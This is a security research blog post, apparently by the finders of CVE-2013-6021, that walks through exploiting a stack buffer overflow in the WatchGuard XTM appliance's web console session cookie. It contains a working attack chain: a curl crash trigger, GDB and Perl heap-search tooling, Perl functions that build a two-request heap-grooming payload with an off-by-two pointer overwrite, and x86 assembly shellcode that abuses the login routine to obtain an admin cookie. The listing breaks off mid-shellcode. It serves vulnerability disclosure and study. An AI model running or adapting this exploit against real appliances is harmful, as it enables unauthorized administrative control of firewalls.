Skip to content

WatchGuard – CVE-2013-6021 – Stack Based Buffer Overflow Exploit

by foip on October 27th, 2013

1. Introduction

This blog entry aims to provide the reader with technical details about the stack-based buffer overflow that we’ve discovered in the web administration console of the WatchGuard XTM appliance (CVE-2013-6021), as well as our journey into the exploit development. While the bug was quite easy to discover, writing a reliable exploit was more challenging due to several limitations, including an impressive hardening of the device.

It is worth to mention that by default,  the web console of the XTM appliance is not reachable from the Untrusted interface as long as the firewall policy hasn’t been modified to allow external access. However, the XTMv version (virtual appliance) allows external access to the web console by default.

1.1 References

2. Bug details

The vulnerability occurs in the session cookie parser and can be triggered by sending a long cookie to the web application. The code of the vulnerable function is highlighted below.

2.1. Code excerpt (c/c++)

int  mysub_8051850_HTTP_handle_request() {

	// ...
	char dest[128];
	int client_info;
	int sys_upgrade_content;
	int unknown;
	int client_fd;
	// ...

	// wrapper to accept()
	FCGX_Accept_r(client_info);

	client_fd = *(client_info + 12);
	script_name = FCGX_GetParam(client_info, "URI_QUERY");

	if ( script_name && !strcmp(script_name, "/ping") ) {
		FCGX_FPrintF(client_fd, [pong response]);
		FCGX_FFlush();
		goto end;
	}

	// login attemp ?
	if ( script_name && (!strcmp(script_name, "/login") || !strcmp(script_name, "/agent/login")) ) {
		mysub_804E7E7_login(client_info, tp.tv_sec);
		goto end;
	}

	// get session cookie
	cookies = (char *)FCGX_GetParam(client_info, "HTTP_COOKIE");
	if ( cookies ) {
		int n = 0;

		char* src = strstr(cookies, "sessionid=");
		if ( src )
			src += 10;

		if ( src ) {
			// search for the end of the cookie
			n = strcspn(src, "\r\n\t &'\";");

			// copy the provided cookie into "char dest[128]" :)
			strncpy(&dest, src, n);

			// search for an existing session
			cookie_sess = wgds_node_find();
		}
	}

	if ( !cookie_sess ) {
		if ( src )
			mysub_804CEC3_HTTP_response(client_fd, 410, "expired");
		else
			mysub_804CEC3_HTTP_response(client_fd, 401, "Unauthorized");
		goto end;
	}

	// ....

end:
	if ( client_info ) {
		FCGX_Finish_r(client_info);
		free((void *)client_info);
	}

	if ( sys_upgrade_content )
		mysub_804DF62_free_decoded_content(sys_upgrade_content);

	return 0;

}

mysub_8051850_HTTP_handle_request() – c code excerpt

Using strcspn() function, line 40 computes the length of the provided cookie by searching for a delimiter character. Line 43 call strncpy() to copy the content of the cookie into a 128 bytes length buffer, without performing any bound checking. By providing more than 128 characters as sessionid value, it is then possible to overwrite additional pointers and alter the state of the stack.

2.2. Crash demonstration

We can trigger the bug by using the following curl command, which will make the wgagent process crash:

$ curl -k --cookie "sessionid=`perl -e 'print "A" x 500'`" \
       --data "foo" https://192.168.60.196:8080/agent/ping

GDB session

$ gdb --pid `ps aux | grep wgagent | grep -v grep | awk '{print $2}'`
GNU gdb (GDB) 7.2-ubuntu
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Attaching to process 32639
0xffffe424 in __kernel_vsyscall ()
=> 0xffffe424 <__kernel_vsyscall+16>:	 5d	pop    ebp
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x37d62c57 in FCGX_PutStr () from /lib/libfcgi.so.0
=> 0x37d62c57 <FCGX_PutStr+23>:	 8b 7e 08	mov    edi,DWORD PTR [esi+0x8]

(gdb) info registers
eax            0x8059ebd	134586045
ecx            0x41414141	1094795585
edx            0x8d	141
ebx            0x37d68ff4	936808436
esp            0x3ff0b520	0x3ff0b520
ebp            0x3ff0b558	0x3ff0b558
esi            0x41414141	1094795585
edi            0x8059e30	134585904
eip            0x37d62c57	0x37d62c57 <FCGX_PutStr+23>
eflags         0x10202	[ IF RF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

(gdb) info stack
#0  0x37d62c57 in FCGX_PutStr () from /lib/libfcgi.so.0
#1  0x37d63d4d in FCGX_VFPrintF () from /lib/libfcgi.so.0
#2  0x37d642bb in FCGX_FPrintF () from /lib/libfcgi.so.0
#3  0x0804cf2a in ?? ()
#4  0x08051d79 in ?? ()
#5  0x41414141 in ?? ()
#6  0x41414141 in ?? ()
#7  0x41414141 in ?? ()
#8  0x41414141 in ?? ()
#9  0x41414141 in ?? ()
[...SNIP...]
#29 0x41414141 in ?? ()
#30 0x37d54ff4 in ?? () from /lib/liblistener.so
Cannot access memory at address 0x41414145

(gdb) info frame 4
Stack frame at 0x3ffffcc0:
 eip = 0x8051d79; saved eip 0x41414141
 called by frame at 0x3ffffcc4, caller of frame at 0x3ff0b6f0
 Arglist at 0x3ffffcb8, args:
 Locals at 0x3ffffcb8, Previous frame's sp is 0x3ffffcc0
 Saved registers:
  ebp at 0x3ffffcb8, eip at 0x3ffffcbc
(gdb)

As we can learn from line 57, the saved EIP value of 4th frame has been overwritten by “AAAA”.

3. Exploitation – RET overwriting approach

So what could we do now using this overflow ? Our first approach is to try exploiting this vulnerability using the classical RET overwrite approach, which consists of altering the saved EIP value with the address of a jmp instruction (or equivalent), and then to finally land into our shellcode. Easy ? Well, let first meet our limitations…

3.1. Limitations

3.1.1. Bad characters

Since this vulnerability is triggered through the session cookie, our first limitation is that all characters of our buffer must land into the allowed character set, of an HTTP request header. Additionally, our buffer can’t contain any cookie delimiters characters such as space, quote, semi-colon, …

Here is our final bad chars list:

my @badchars = (
"\x00",
"\x01", "\x02", "\x03", "\x04", "\x05", "\x06", "\x07", "\x08", "\x0a",
"\x0b", "\x0c", "\x0d", "\x0e", "\x0f", "\x10", "\x11", "\x12", "\x13",
"\x14", "\x15", "\x16", "\x17", "\x18", "\x19", "\x1a", "\x1b", "\x1c",
"\x1d", "\x1e", "\x1f",
"\x20", "\x22", "\x26", "\x27", "\x3b" # cookie delimiters
);

3.1.2. Virtual Address Randomization

As we can see in the following output, /proc/sys/kernel/randomize_va_space is set to “1” which means that memory addresses randomization is enabled by default on the Watchguard device.

$ uname -a
Linux XTMv-11.7.4u1 2.6.35.12 #1 SMP Tue Aug 27 11:44:24 PDT 2013 i686 GNU/Linux
$ cat /proc/sys/kernel/randomize_va_space
1

Another view can be observed from the process memory map, where all modules use a different memory base-address each time the wgagent process restarts.
All modules ? Not exactly. The section code and the heap don’t move upon restart. Additionally, our friend linux-gate.so doesn’t move too (see line 36).

$ cat /proc/26495/maps
08048000-0805d000 r-xp 00000000 08:02 40369      /usr/bin/wgagent
0805d000-0805e000 r-xp 00014000 08:02 40369      /usr/bin/wgagent
0805e000-0805f000 rwxp 00015000 08:02 40369      /usr/bin/wgagent
0805f000-08081000 rwxp 00000000 00:00 0          [heap]
37950000-37958000 r-xp 00000000 08:02 12801      /lib/libnss_files.so.2
37958000-37959000 r-xp 00007000 08:02 12801      /lib/libnss_files.so.2
37959000-3795a000 rwxp 00008000 08:02 12801      /lib/libnss_files.so.2
3795a000-3795c000 r-xs 00000000 00:04 0          /SYSV574c5147 (deleted)
3795c000-37972000 r-xp 00000000 08:02 12796      /lib/libgcc_s.so.1
37972000-37973000 r-xp 00015000 08:02 12796      /lib/libgcc_s.so.1
37973000-37974000 rwxp 00016000 08:02 12796      /lib/libgcc_s.so.1
37974000-37976000 rwxp 00000000 00:00 0
37976000-37989000 r-xp 00000000 08:02 12161      /lib/libpthread.so.0
37989000-3798a000 r-xp 00012000 08:02 12161      /lib/libpthread.so.0
3798a000-3798b000 rwxp 00013000 08:02 12161      /lib/libpthread.so.0
3798b000-3798e000 rwxp 00000000 00:00 0
3798e000-3799d000 r-xp 00000000 08:02 12371      /lib/libnsl.so.1
3799d000-3799e000 r-xp 0000e000 08:02 12371      /lib/libnsl.so.1
3799e000-3799f000 rwxp 0000f000 08:02 12371      /lib/libnsl.so.1
3799f000-379a1000 rwxp 00000000 00:00 0
379a1000-37aa7000 r-xp 00000000 08:02 12231      /lib/libc.so.6
37aa7000-37aa9000 r-xp 00105000 08:02 12231      /lib/libc.so.6
37aa9000-37aaa000 rwxp 00107000 08:02 12231      /lib/libc.so.6
37aaa000-37aad000 rwxp 00000000 00:00 0
[...SNIP...]
37ebf000-37fdf000 r-xp 00000000 08:02 12350      /lib/libxml2.so.2.7.7
37fdf000-37fe0000 ---p 00120000 08:02 12350      /lib/libxml2.so.2.7.7
37fe0000-37fe4000 r-xp 00120000 08:02 12350      /lib/libxml2.so.2.7.7
37fe4000-37fe5000 rwxp 00124000 08:02 12350      /lib/libxml2.so.2.7.7
37fe5000-37fe7000 rwxp 00000000 00:00 0
37fe7000-37ffe000 r-xp 00000000 08:02 12099      /lib/ld-2.12.1.so
37ffe000-37fff000 r-xp 00016000 08:02 12099      /lib/ld-2.12.1.so
37fff000-38000000 rwxp 00017000 08:02 12099      /lib/ld-2.12.1.so
3ffdf000-40000000 rwxp 00000000 00:00 0          [stack]
ffffe000-fffff000 r-xp 00000000 00:00 0          [vdso]

Unfortunately, if we succeed with the RET overflow approach, we can’t jump into the wgagent heap nor code sections because of the bad characters limitation (the addresses start with \x08\x05 or \x08\x06). However, an off-by-two overflow would help to bypass this limitation. Regarding linux-gate.so, no jmp or equivalent were found.

3.1.3. Invalid pointer and free()

Yet another issue we have to overcome with the RET approach appeared near the end of the mysub_8051850_HTTP_handle_request() function.

// ....
	if ( client_info ) {
		FCGX_Finish_r(client_info);
		free((void *)client_info);
	}

	if ( sys_upgrade_content )
		mysub_804DF62_free_decoded_content(sys_upgrade_content);
// ....

Buffers initially allocated at the beginning of the function using malloc(), must be freed. Unfortunately, the pointers to these buffers are overwritten during the strncpy() overflow, which makes free() crash (it is legitimate… not easy to free an invalid buffer..). Additionally, in the event where we find a way to predict a valid heap address to free, we won’t be able to use it in our evil buffer since the heap addresses start with forbidden characters ..

4. Exploitation – Pointers overwriting approach

After a few headaches in the RET overwriting approach, it was the moment to consider another way. We then started to analyze the execution flow right after the overflow, hoping to get an idea… Which then finally happened..

4.1. O pointers where art thou

Upon return from the strncpy() function, the provided cookie is compared against a list of valid cookies. If the cookie is expired or invalid, an HTTP response is generated and returned to the end-user, as see on line 6 and 8 of the following excerpt code.

int  mysub_8051850_HTTP_handle_request() {

	// ...
	if ( !cookie_sess ) {
		if ( src )
			mysub_804CEC3_HTTP_response(client_fd, 410, "expired");
		else
			mysub_804CEC3_HTTP_response(client_fd, 401, "Unauthorized");
		goto end;
	}
        //....

The HTTP_response function then calls some printf() wrappers as illustrated by the following backtrace:

(gdb) backtrace
#0  0x37d62c8c in FCGX_PutStr () from /lib/libfcgi.so.0
#1  0x37d63d4d in FCGX_VFPrintF () from /lib/libfcgi.so.0
#2  0x37d642bb in FCGX_FPrintF () from /lib/libfcgi.so.0
#3  0x0804cf2a in ?? ()
#4  0x08051d79 in ?? ()  <=== call from mysub_8051850_HTTP_handle_request()
#5  0x080552c8 in ?? ()
#6  0x37d539c9 in ?? () from /lib/liblistener.so
#7  0x37d52c16 in ListenLoop () from /lib/liblistener.so
#8  0x08055be1 in ?? ()
#9  0x379b7eb9 in __libc_start_main () from /lib/libc.so.6
#10 0x0804bcd1 in ?? ()

A VERY interesting assembly instruction is present in the FCGX_PutStr() function as seen at line 27 of the following code:

   0x37d62c40 <+0>:	push   ebp
   0x37d62c41 <+1>:	mov    ebp,esp
   0x37d62c43 <+3>:	push   edi
   0x37d62c44 <+4>:	push   esi
   0x37d62c45 <+5>:	push   ebx
   0x37d62c46 <+6>:	sub    esp,0x2c
   0x37d62c49 <+9>:	mov    esi,DWORD PTR [ebp+0x10]
   0x37d62c4c <+12>:	call   0x37d624c8
   0x37d62c51 <+17>:	add    ebx,0x63a3
   0x37d62c57 <+23>:	mov    edi,DWORD PTR [esi+0x8]
   0x37d62c5a <+26>:	mov    eax,DWORD PTR [esi+0x4]
   0x37d62c5d <+29>:	mov    DWORD PTR [ebp-0x1c],0x0
   0x37d62c64 <+36>:	mov    edx,edi
   0x37d62c66 <+38>:	sub    edx,eax
   0x37d62c68 <+40>:	cmp    edx,DWORD PTR [ebp+0xc]
   0x37d62c6b <+43>:	jl     0x37d62c95 <FCGX_PutStr+85>
   0x37d62c6d <+45>:	jmp    0x37d62cea <FCGX_PutStr+170>
   0x37d62c70 <+48>:	add    DWORD PTR [ebp+0x8],edi
   0x37d62c73 <+51>:	mov    eax,DWORD PTR [esi+0x14]
   0x37d62c76 <+54>:	test   eax,eax
   0x37d62c78 <+56>:	jne    0x37d62cd8 <FCGX_PutStr+152>
   0x37d62c7a <+58>:	mov    edi,DWORD PTR [esi+0x10]
   0x37d62c7d <+61>:	test   edi,edi
   0x37d62c7f <+63>:	jne    0x37d62cd8 <FCGX_PutStr+152>
   0x37d62c81 <+65>:	mov    DWORD PTR [esp+0x4],0x0
   0x37d62c89 <+73>:	mov    DWORD PTR [esp],esi
   0x37d62c8c <+76>:	call   DWORD PTR [esi+0x24]
   0x37d62c8f <+79>:	mov    eax,DWORD PTR [esi+0x4]
   0x37d62c92 <+82>:	mov    edi,DWORD PTR [esi+0x8]
   0x37d62c95 <+85>:	cmp    eax,edi
   0x37d62c97 <+87>:	je     0x37d62c73 <FCGX_PutStr+51>
   0x37d62c99 <+89>:	mov    edx,DWORD PTR [ebp+0xc]
   0x37d62c9c <+92>:	sub    edi,eax
   0x37d62c9e <+94>:	sub    edx,DWORD PTR [ebp-0x1c]
   [...SNIP...]
   0x37d62d0c <+204>:	pop    ebx
   0x37d62d0d <+205>:	pop    esi
   0x37d62d0e <+206>:	pop    edi
   0x37d62d0f <+207>:	pop    ebp
   0x37d62d10 <+208>:	ret

The good news is that ESI holds the content of “client_fd” pointer, which we control by overflowing our cookie buffer by only a few bytes!
Remember the beginning of the mysub_8051850_HTTP_handle_request() function :

int  mysub_8051850_HTTP_handle_request() {

	// ...
	char dest[128];  // overflowed buffer
	int client_info;
	int sys_upgrade_content;
	int unknown;
	int client_fd;
	// ...

Additionally, client_fd initially contains a heap address, which means that overwriting the pointer with only 2 bytes (remember bad chars), would let us perform a call to an address stored on the heap !

4.2. How I met your mother

The function would like to challenge us first.. Indeed, we need to comply with some conditional jumps in order to reach the call [esi+0x24] instruction. Let’s illustrate the conditions:

   0x37d62c40 <+0>:	push   ebp
   0x37d62c41 <+1>:	mov    ebp,esp
   0x37d62c43 <+3>:	push   edi
   0x37d62c44 <+4>:	push   esi
   0x37d62c45 <+5>:	push   ebx
   0x37d62c46 <+6>:	sub    esp,0x2c
   0x37d62c49 <+9>:	mov    esi,DWORD PTR [ebp+0x10]
   0x37d62c4c <+12>:	call   0x37d624c8
   0x37d62c51 <+17>:	add    ebx,0x63a3
   0x37d62c57 <+23>:	mov    edi,DWORD PTR [esi+0x8]
   0x37d62c5a <+26>:	mov    eax,DWORD PTR [esi+0x4]
   0x37d62c5d <+29>:	mov    DWORD PTR [ebp-0x1c],0x0
   0x37d62c64 <+36>:	mov    edx,edi
   0x37d62c66 <+38>:	sub    edx,eax
   0x37d62c68 <+40>:	cmp    edx,DWORD PTR [ebp+0xc]
   0x37d62c6b <+43>:	jl     0x37d62c95 <FCGX_PutStr+85>
   0x37d62c6d <+45>:	jmp    0x37d62cea <FCGX_PutStr+170>
   0x37d62c70 <+48>:	add    DWORD PTR [ebp+0x8],edi
   0x37d62c73 <+51>:	mov    eax,DWORD PTR [esi+0x14]
   0x37d62c76 <+54>:	test   eax,eax
   0x37d62c78 <+56>:	jne    0x37d62cd8 <FCGX_PutStr+152>
   0x37d62c7a <+58>:	mov    edi,DWORD PTR [esi+0x10]
   0x37d62c7d <+61>:	test   edi,edi
   0x37d62c7f <+63>:	jne    0x37d62cd8 <FCGX_PutStr+152>
   0x37d62c81 <+65>:	mov    DWORD PTR [esp+0x4],0x0
   0x37d62c89 <+73>:	mov    DWORD PTR [esp],esi
   0x37d62c8c <+76>:	call   DWORD PTR [esi+0x24]
   0x37d62c8f <+79>:	mov    eax,DWORD PTR [esi+0x4]
   0x37d62c92 <+82>:	mov    edi,DWORD PTR [esi+0x8]
   0x37d62c95 <+85>:	cmp    eax,edi
   0x37d62c97 <+87>:	je     0x37d62c73 <FCGX_PutStr+51>
   0x37d62c99 <+89>:	mov    edx,DWORD PTR [ebp+0xc]
   0x37d62c9c <+92>:	sub    edi,eax
   0x37d62c9e <+94>:	sub    edx,DWORD PTR [ebp-0x1c]
   [...SNIP...]
   0x37d62d0c <+204>:	pop    ebx
   0x37d62d0d <+205>:	pop    esi
   0x37d62d0e <+206>:	pop    edi
   0x37d62d0f <+207>:	pop    ebp
   0x37d62d10 <+208>:	ret

Line 16 : [esi+0x8][esi+0x4] must be lower than [ebp+0xc] (which contains 141 at that moment) in order to jump at <FCGX_PutStr+85>
Line 31 : [esi+0x4] and [esi+0x8] must be equal in order to jump at <FCGX_PutStr+51>
Line 21 : [esi+0x14] must be equal to zero in order to prevent jumping
Line 24 : [esi+0x10] must be equal to zero in order to prevent jumping

If we satisfy these conditions in this order, we will reach the call instruction located at line 27 and then have to satisfy a last condition:

Line 27 : [esi+0x24] must contain an address which point to our shellcode …

Below is an alternative view of the problem we need to solve .. We called this “a good memory chunk” pointed by ESI.

call [esi+0x24] - condition

The reader can already assume that if I took the energy to write this blog entry, there must be some ways to comply with the rules … ;-)

4.3. Solving the conditions

We must send an HTTP request which fills the heap with some HTTP header contents, and then find a location into that heap which matches our conditions. Let’s automate the heap search process using Perl (I know, Perl is old school but I don’t care..).
We also need some gdb scripting in order to dump the heap content, right after client_fd has been overwritten. In the example below, we will overwrite two bytes of client_fd with \x81\x64 which will result in 0x08068164. The gdb script will break at FCGX_FPrinF() function and will dump the content of the heap if EAX contains 0x08068164.

The gdb command script.

set disassemble-next-line on
set disassembly-flavor intel

file /usr/bin/wgagent
b FCGX_FPrintF
commands
        if ($eax == 0x8068164)
                x/20000xw 0x08060000
                quit
        else
                cont
        end
end
run

From our testing laptop, gdb will be called through SSH, and the output (the heap content) saved locally into a text file:

$ ssh -p 4118 root@192.168.60.196 gdb --nx --command cmd.gdb 2>/dev/null \
     |  egrep -e '^0x80.....:' > heap_dump

From another console, we send the HTTP request and wait for the gdb output. Sample :

0x8060000:      0x00000000      0x00000019      0x62696c2f      0x62696c2f
0x8060010:      0x5f636367      0x6f732e73      0x0000312e      0x00000281
0x8060020:      0x3795c000      0x08060008      0x37972f08      0x08063278
0x8060030:      0x37fff534      0x08060020      0x00000000      0x0806027c
0x8060040:      0x00000000      0x37972f08      0x37972f58      0x37972f50
0x8060050:      0x37972f28      0x37972f30      0x37972f38      0x00000000
0x8060060:      0x00000000      0x00000000      0x37972f40      0x37972f48
0x8060070:      0x37972f18      0x37972f20      0x37972f10      0x00000000
0x8060080:      0x00000000      0x37972f70      0x37972f78      0x37972f80
0x8060090:      0x37972f60      0x00000000      0x00000000      0x37972f68
0x80600a0:      0x00000000      0x00000000      0x00000000      0x00000000
0x80600b0:      0x00000000      0x00000000      0x00000000      0x00000000
0x80600c0:      0x00000000      0x00000000      0x37972fa0      0x37972f98
0x80600d0:      0x37972f90      0x37972f88      0x00000000      0x37972fb0
0x80600e0:      0x00000000      0x00000000      0x00000000      0x00000000
......

After multiple variations of an initial HTTP request, our Perl script did not find any good location that matched the last rule (pointer to the shellcode) :-/

Well, why not trying with two HTTP requests ? Remember that free() does not reset the content of a buffer but only removes the chunk from the allocated buffer list. It means that with a bit of luck, the data of a first HTTP request might still be present on the heap, while a second HTTP request (different than the first one) is processed by the HTTP server. Also, wgagent treats one request at a time meaning that if you send 100 identical requests, they will all be stored at the same position (also after reboot – verified).

We will then try to send two different requests:

  1. A first request which generates a “good memory chunk” (satisfying all rules except the last one).
  2. A second request which aligns the shellcode at the position pointed by ESI+0x24 (set by the first HTTP request). We’ll also try to have a big room for the shellcode (2000 bytes should be large enough).

!!! IT WORKS !!!

Below is the first request:

sub building_request_step1 {
        my $sessionid = "A" x 120;
        my $req =
                "POST /agent/ping HTTP/1.1\r\n" .
                "Host:$host:$port"  . "\r\n" .
                "User-Agent: " . "a" x 100 . "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0  " . "a" x 100  . "\r\n" .
                "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8, " . "a" x 992 . "\r\n" .
                "Accept-Language: en-gb,en;q=0.5" . "a" x 200 . "\r\n" .
                "Content-Type: application/xml\r\n" .
                "Cookie: sessionid=" . $sessionid . "\r\n" .
                "Accept-Charset: utf-8\r\n" .
                "Content-Length: 3\r\n" .
                "\r\n" .
                "foo" ;
        return $req;
}

and here is the second request:

sub building_request_step2 {
        my $sessionid =
                "A" x 140 .     # junk
                "\x44\x85" ;    # off by 2 overflow to reach  0x8068544 (on the heap)
        my $req =
                "POST /agent/ping HTTP/1.1\r\n" .
                "Host:$host:$port"  . "\r\n" .
                "User-Agent: " . "s" x 100 . "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0  " . "a" x 282  . "\r\n" .
                "Accept-Encoding: gzip, deflate " . "b" x 1380 . "\r\n" .
                "Connection: keep-alive"  . "a" x 22 . $shellcode . "\x90" x ($shellcode_max_len - length($shellcode))  ."\r\n" .
                "Content-Type: application/xml\r\n" .
                "Cookie: sessionid=" . $sessionid . "\r\n" .
                "Accept-Charset: utf-8\r\n" .
                "Content-Length: 3\r\n" .
                "\r\n" .
                "foo" ;

        return $req;
}

Below is the output of the Perl script showing some good memory chunks, including the content behind [ESI+024]

$ ssh -p 4118 root@192.168.60.196 gdb --nx --command cmd.gdb 2>/dev/null \
      | egrep -e '^0x80.....:' > heap_dump
$ ./heap_search.pl heap_dump
base address: 8060000

[...SNIP...]

ESI: 0x8068058, [ESI+0x24]: 0x080680e0
\x01\x06\x00\x01\x00\x00\x00\x00\x01\x03\x00\x01\x00\x08\x00\x00
................

ESI: 0x80682f8, [ESI+0x24]: 0x08065c60
\x67\x00\x06\x08\x29\x00\x00\x00\x44\x4f\x43\x55\x4d\x45\x4e\x54
g...)...DOCUMENT

ESI: 0x8068544, [ESI+0x24]: 0x080664f0 <==========================
\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc
................

ESI: 0x8068548, [ESI+0x24]: 0x08068608
\x98\xa2\xaa\x37\x28\x3a\x06\x08\x00\x00\x00\x00\x00\x00\x00\x00
...7(:..........

[... SNIP ...]

======== dump near ESI ===================
0x8068540:      0x00000000      0x00000000      0x00000000      0x00000000
0x8068550:      0x00000000      0x00000000      0x00000000      0x00000000
0x8068560:      0x00002008      0x00000030      0x080664f0      0x08068608
==========================================

======== dump near [ESI+0x24] ============
0x80664b0:      0x62626262      0x00626262      0x73752f3d      0x00000809
0x80664c0:      0x50545448      0x4e4f435f      0x5443454e      0x3d4e4f49
0x80664d0:      0x7065656b      0x696c612d      0x61616576      0x61616161
0x80664e0:      0x61616161      0x61616161      0x61616161      0x61616161
0x80664f0:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x8066500:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x8066510:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x8066520:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x8066530:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x8066540:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x8066550:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x8066560:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x8066570:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x8066580:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x8066590:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x80665a0:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x80665b0:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
========================

We can now rest a few minutes, before considering the shellcode we would like to use in our buffer…

5. Shellcoding

5.1. Dealing with bad characters

As explained before, we have to deal with a lot of bad characters in our evil buffer. To make it easier, we decided to use the infamous alpha2 encoder . In order to use this encoder, we have to set our shellcode address into one of the registers expected by alpha2 first (is alpha3 for Windows only?).

Right after the call [esi+0x24], we have the following values in our registers:

Breakpoint 1, 0x37d62c8c in FCGX_PutStr () from /lib/libfcgi.so.0
=> 0x37d62c8c <FCGX_PutStr+76>:	 ff 56 24	call   DWORD PTR [esi+0x24]
(gdb) si
0x080664f0 in ?? ()
=> 0x080664f0:	 90  	        nop  <== first byte of our nopsled
(gdb) i r
eax            0x0	0
ecx            0x8068544	134645060
edx            0x0	0
ebx            0x37d68ff4	936808436
esp            0x3ff0b51c	0x3ff0b51c
ebp            0x3ff0b558	0x3ff0b558
esi            0x8068544	134645060
edi            0x0	0
eip            0x80664f0	0x80664f0
(gdb) x/xw $ecx+0x24
0x8068568:	0x080664f0
(gdb) x/xw $esi+0x24
0x8068568:	0x080664f0
(gdb)

Both [ecx+0x24] and [esi+0x24] contains the address of our shellcode. In order to store the address of the alpha-encoded shellcode into EAX, we will start our shellcode with the following instructions (by taking care of the bad chars list):

8048060:	8b 41 24        mov     eax, [ecx+0x24]
8048063:	83 c0 40        add     eax, 0x40   ; compensate our own length
8048066:	83 e8 37        sub     eax, 0x37   ; compensate our own length

We can now play with ./alpha2 eax < shellcode

5.2. bind_shell, reverse_shell, execve …

So we need to write a shellcode now, but what for ? If you remember a few thousand lines before, there is no shell installed on the device. Ok, we have busybox with this very limited set of commands:

~ # busybox-rel
BusyBox v1.18.2 (2012-10-25 16:35:43 PDT) multi-call binary.
[...SNIP...]
Currently defined functions:
	arp, arping, awk, chmod, chown, crond, dmesg, ftpget, ftpput, getty,
	gunzip, gzip, hwclock, ifconfig, insmod, kill, killall, logger, login,
	lsmod, mdev, modprobe, rmmod, syslogd, tar, tftp, udhcpc, vconfig,
	zcat

There is also a Command Line Interface to consider under /usr/bin/cli, but it provides only unprivileged commands when called by non-root user (wgagent runs as nobody):

~ # busybox su - nobody
$ /usr/bin/cli
--
-- WatchGuard Firebox Operating System Software.
-- Fireware XTM Version 11.7.4.B428850
-- Support: https://www.watchguard.com/support/supportLogin.asp
-- Copyright (c) 1996-2011 by WatchGuard Technologies, Inc.
--

WG>?
Exec commands:
  diagnose    Display internal diagnostic information
  exit        Exit from the EXEC
  export      Export information to external platform
  help        Description of the interactive help system
  history     Display the command history list with line numbers
  no          Negate a command or set its defaults
  ping        Send echo messages
  show        Show running system information
  sysinfo     Display system information
  traceroute  Trace route to destination
  who         Show who is logged on

WG>

These options are really disappointing, considering the jobs we have already covered. Additionally, we know that wgagent is able to execute privileged actions when called from the web console (changing policy, rebooting, …). There is definitively no reasons to stuck in our limited privileges..

5.3. Code reuse – Send me back an admin cookie please

Since there is a really convenient Web console running of the device, why not ask wgagent to generate a new admin cookie, and send it back to us ?

I will not explain all the steps but basically, our shellcode will:

  1. Set EBP and ESP as if we are running into the mysub_8051850_HTTP_handle_request() function.
  2. Recover some overwritten pointers
  3. Set EBP and ESP as if we are running inside the mysub_804E7E7_login() function.
  4. Re-implement some necessary assignments
  5. Jump after the password verification
  6. Let it go :-)

Here is the final shellcode:

;wg_get_session.asm
global _start
_start:

	; current EBP/ESP values
	;-------
	; esp            0x3ff0b518
	; ebp            0x3ff0b558

	; first, fix the stack in HTTP_handle_request function
	; -------
	; esp           0x3ff0b6f0
	; ebp           0x3ffffcb8

	; we'll do
	;---------
	;$ perl -e 'printf "%x\n", 0x3ff0b518 + 472'
	; 3ff0b6f0
	; ESP = ESP + 472

	;$ perl -e 'printf "%x\n", 0x3ff0b558 + 1001312'
	; 3ffffcb8
	; EBP = EBP + 1001312

	; fix ESP/EBP
	add	esp, 472
	add	ebp, 1001312

	; fixing overwritten ptrs

	; finding initial malloc pointer v50 (overwritten)
	; 0805f000-08081000 rwxp 00000000 00:00 0          [heap]

	; v54 and v55 have not been overwritten and contain *(v50+0x10) and *(v50+0x14)

	; example inside gdb
	;b *0x8051901
	;b *0x80519c0
	;(gdb) x/xw $ebp-0xf8		<===== v55
	;0x3ffffbc0:	0x08065b90
	;(gdb) x/xw $ebp-0xfc		<===== v54
	;0x3ffffbbc:	0x08067fe0
	;(gdb) find /w 0x08060000, 0x0806ffff, 0x08067fe0, 0x08065b90	<==== search seq on heap
	;0x8063b48
	;1 pattern found.
	;(gdb) x/xw 0x8063b48-0x10	<==== initial malloc ptr (v50) is at 0x8063b48-0x10
	;0x8063b38:	0x00000001

	; search this sequence on the heap
	mov	eax, [ebp-0xfc]	; v54
	mov	ebx, [ebp-0xf8]	; v55

	mov	edi, 0x0805f000	; heap start addr
loop:
	add	edi, 4
	lea	esi, [edi+4]
	cmp	esi, 0x08081000	; edi is out of the heap ?
	je	loop_end
	cmp	[edi], eax	; cmp v54
	jne	loop
	cmp	[edi+4], ebx	; cmp v55
	je	found
	jmp	loop

loop_end:
	mov	eax, 0x08063b38	; default value (should not be reached)

found:
	lea	eax, [edi-0x10]	; eax = v50 address (malloc ptr addr)

	; EBP-0x10c
	; saved content of v50 (malloc) = ebp-0x10c
	mov	[ebp-0x10c], eax

	; reset EBX (see following)
	; 805185c:	e8 95 43 00 00		call	8055bf6 <wga_signal+0x784>
	; 8051861:	81 c3 93 c7 00 00	add	ebx,0xc793
	; ....
	; 8055bf6:	8b 1c 24		mov	ebx,DWORD PTR [esp]
	; 8055bf9:	c3			ret
	mov	ebx, 0x805dff4

	; EBP-0x108
	; just reset it to 0
	mov	dword [ebp-0x108], 0x0

	; EBP-0x100
